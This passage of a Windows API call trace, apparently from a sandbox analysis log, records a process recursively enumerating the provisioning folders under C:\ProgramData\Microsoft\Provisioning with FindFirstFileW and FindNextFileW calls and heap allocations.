ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.538] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.538] GetProcessHeap () returned 0xc10000 [0272.538] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.538] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0272.539] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.539] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.539] GetProcessHeap () returned 0xc10000 [0272.539] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.539] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9aec5bda-1e87-46b3-bb96-1a01c606555e}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.911] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fdcb85, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fdcb85, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fdcb85, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1bae, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 0 [0272.911] FindClose (in: hFindFile=0x33e4ca8 | out: hFindFile=0x33e4ca8) returned 1 [0272.911] GetProcessHeap () returned 0xc10000 [0272.911] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.911] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x54002dee, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x54002dee, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x54002dee, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x1cc, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.912] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0272.912] GetProcessHeap () returned 0xc10000 [0272.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.912] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.912] FindClose (in: hFindFile=0x33e4ba8 | out: hFindFile=0x33e4ba8) returned 1 [0272.912] GetProcessHeap () returned 0xc10000 [0272.912] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.912] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}", cAlternateFileName="{9DF6A~1")) returned 1 [0272.912] GetProcessHeap () returned 0xc10000 [0272.912] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.912] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0272.918] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.918] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f9117b, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f9117b, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f9117b, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x85a, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="CUSTOM~1.XML")) returned 1 [0272.934] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f6af14, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f6af14, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f6af14, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="MASTER~1.XML")) returned 1 [0272.934] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.934] GetProcessHeap () returned 0xc10000 [0272.934] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.935] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4de8 [0272.936] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.936] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.936] GetProcessHeap () returned 0xc10000 [0272.936] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.936] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{9df6a4ed-fc16-48bf-8b24-6e2ad2bfcfea}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4da8 [0272.937] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.937] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 1 [0272.937] FindNextFileW (in: hFindFile=0x33e4da8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f1ea40, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f1ea40, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x710, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_Policy.provxml", cAlternateFileName="0__POW~1.PRO")) returned 0 [0272.937] FindClose (in: hFindFile=0x33e4da8 | out: hFindFile=0x33e4da8) returned 1 [0272.937] GetProcessHeap () returned 0xc10000 [0272.937] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x33d1fa0 | out: hHeap=0xc10000) returned 1 [0272.937] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 1 [0272.937] FindNextFileW (in: hFindFile=0x33e4de8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f44caa, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f44caa, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f44caa, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0xfb, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime.xml", cAlternateFileName="")) returned 0 [0272.937] FindClose (in: hFindFile=0x33e4de8 | out: hFindFile=0x33e4de8) returned 1 [0272.937] GetProcessHeap () returned 0xc10000 [0272.937] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3418fe0 | out: hHeap=0xc10000) returned 1 [0272.937] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1f7bd0, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1f7bd0, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1f7bd0, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 0 [0272.938] FindClose (in: hFindFile=0x33e48a8 | out: hFindFile=0x33e48a8) returned 1 [0272.938] GetProcessHeap () returned 0xc10000 [0272.938] HeapFree (in: hHeap=0xc10000, dwFlags=0x0, lpMem=0x3438ff0 | out: hHeap=0xc10000) returned 1 [0272.938] FindNextFileW (in: hFindFile=0x33e47e8, lpFindFileData=0x2e5f1c8 | out: lpFindFileData=0x2e5f1c8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}", cAlternateFileName="{B0B91~1")) returned 1 [0272.938] GetProcessHeap () returned 0xc10000 [0272.938] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3438ff0 [0272.938] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\*", lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ca8 [0272.939] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.939] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53fb24d6, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53fb24d6, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53fb24d6, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x8b5, dwReserved0=0x0, dwReserved1=0x0, cFileName="customizations.xml", cAlternateFileName="")) returned 1 [0272.939] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f8c279, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f8c279, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f8c279, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x10f, dwReserved0=0x0, dwReserved1=0x0, cFileName="MasterDatastore.xml", cAlternateFileName="")) returned 1 [0272.939] FindNextFileW (in: hFindFile=0x33e4ca8, lpFindFileData=0x2e5ef40 | out: lpFindFileData=0x2e5ef40*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Prov", cAlternateFileName="")) returned 1 [0272.939] GetProcessHeap () returned 0xc10000 [0272.939] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x3418fe0 [0272.939] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\*", lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e4ba8 [0272.940] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.940] FindNextFileW (in: hFindFile=0x33e4ba8, lpFindFileData=0x2e5ecb8 | out: lpFindFileData=0x2e5ecb8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="RunTime", cAlternateFileName="")) returned 1 [0272.941] GetProcessHeap () returned 0xc10000 [0272.941] RtlAllocateHeap (HeapHandle=0xc10000, Flags=0x0, Size=0x10000) returned 0x33d1fa0 [0272.941] FindFirstFileW (in: lpFileName="\\\\?\\C:\\ProgramData\\Microsoft\\Provisioning\\{b0b9123d-7d7f-4c6b-9973-ceced46f2a09}\\Prov\\RunTime\\*", lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x33e48a8 [0272.941] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1d1ab71b, ftCreationTime.dwHighDateTime=0x1d32743, ftLastAccessTime.dwLowDateTime=0x1d1ab71b, ftLastAccessTime.dwHighDateTime=0x1d32743, ftLastWriteTime.dwLowDateTime=0x1d1ab71b, ftLastWriteTime.dwHighDateTime=0x1d32743, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0272.941] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, nFileSizeHigh=0x0, nFileSizeLow=0x663, dwReserved0=0x0, dwReserved1=0x0, cFileName="0__Power_EnergyEstimationEngine.provxml", cAlternateFileName="")) returned 1 [0272.941] FindNextFileW (in: hFindFile=0x33e48a8, lpFindFileData=0x2e5ea30 | out: lpFindFileData=0x2e5ea30*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x53f3fdc3, ftCreationTime.dwHighDateTime=0x1d29f93, ftLastAccessTime.dwLowDateTime=0x53f3fdc3, ftLastAccessTime.dwHighDateTime=0x1d29f93, ftLastWriteTime.dwLowDateTime=0x53f66020, ftLastWriteTime.dwHighDateTime=0x1d29f93, 